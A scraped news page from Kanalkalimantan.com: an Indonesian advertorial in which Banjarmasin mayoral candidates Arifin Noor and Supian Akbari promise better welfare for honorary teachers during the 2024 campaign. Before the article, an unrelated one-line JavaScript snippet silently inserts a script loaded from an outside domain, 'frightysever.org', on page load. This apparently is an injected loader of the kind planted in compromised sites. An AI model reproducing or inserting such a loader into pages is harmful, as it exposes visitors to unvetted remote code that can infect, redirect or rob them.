(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Advertorial

Arifin-Akbari Janji Tingkatkan Kesejahteraan Guru Honorer di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Perlindungan bagi guru dan tenaga pendidik di Kota Banjarmasin menjadi perhatian Pasangan Calon (Paslon) nomor urut 1 Arifin Noor-Supian Akbari di Pilwali Banjarmasin 2024.

Hal itu disampaikan pasangan berjargon Arifin-Akbari Banjarmasin Baiman dan Berkelanjutan (AA Baik), dalam kegiatan seminar dengan puluhan tenaga pendidik sekolah swasta di Kafe Nostalgia, Belitung, Banjarmasin Tengah pada Minggu (13/10/2024) sore.

“Mereka (Maksudnya guru honorer) rata-rata meminta kesejahteraan, karena ada perbedaan jauh, baik honorer di bawah pemerintah kota, departemen agama, dan guru sekolah swasta,” kata calon Wali Kota Banjarmasin Arifin Noor.

Menurut petahana Wakil Wali Kota Banjarmasin, harus ada suatu kemandirian yang bisa dijalankan oleh pihak sekolah swasta.

Kemudian, kedepan kata Arifin sekolah yang dikelola swasta, dinas pendidikan maupun kementrian agama disamaratakan untuk pemberian honor daerah.

“Itu kita perjuangkan, tapi jangan sampai menyalahi aturan. Karena mereka semua sama-sama mengajar dan mendidik,” tegasnya.

Di masa kepemimpinan Ibnu Sina-Arifin Noor, Pemerintah Kota Banjarmasin sudah meupayakan memberikan kesejahteraan bagi para guru honorer.

Misalnya ada kenaikan insentif di tahun 2019, serta pelantikan dan pemberian SK menjadi Pegawai Pemerintah dengan Perjanjian Kontrak (PPPK) bagi 1.300 orang guru honorer.

Upaya tersebut, menurutnya bakal terus ditindaklanjuti tak terkecuali upaya memberikan kesejahteraan bagi guru honorer di tingkat swasta.

“Kami terus berupaya memberikan perhatian untuk meningkatkan dunia pendidikan di Banjarmasin lebih baik lagi,” terangnya.

Senada disampaikan calon Wakil Wali Kota Banjarmasin, Supian Akbari, akan mengkaji permintaan para guru swasta untuk peningkatan kesejahteraan.

“Jadi bukan hanya menjual janji kampanye, tapi kita akan mencari jalan dan solusi untuk kawan-kawan guru honorer,” ujarnya.

Menurutnya tak menutup kemungkinan jika kedepan kesejahteraan guru tak cuma guru honorer swasta, tapi juga guru honorer di sekolah negeri yang diperhatikan.

“Guru-guru ini tugas dan cita-citanya sama, yakni mencerdaskan kehidupan bangsa. Jadi kita akan kaji dan cari jalan serta solusi yang terbaik untuk mereka semua,” tandas Akbari. (Kanalkalimantan.com/adv)

Reporter: adv
Editor: kk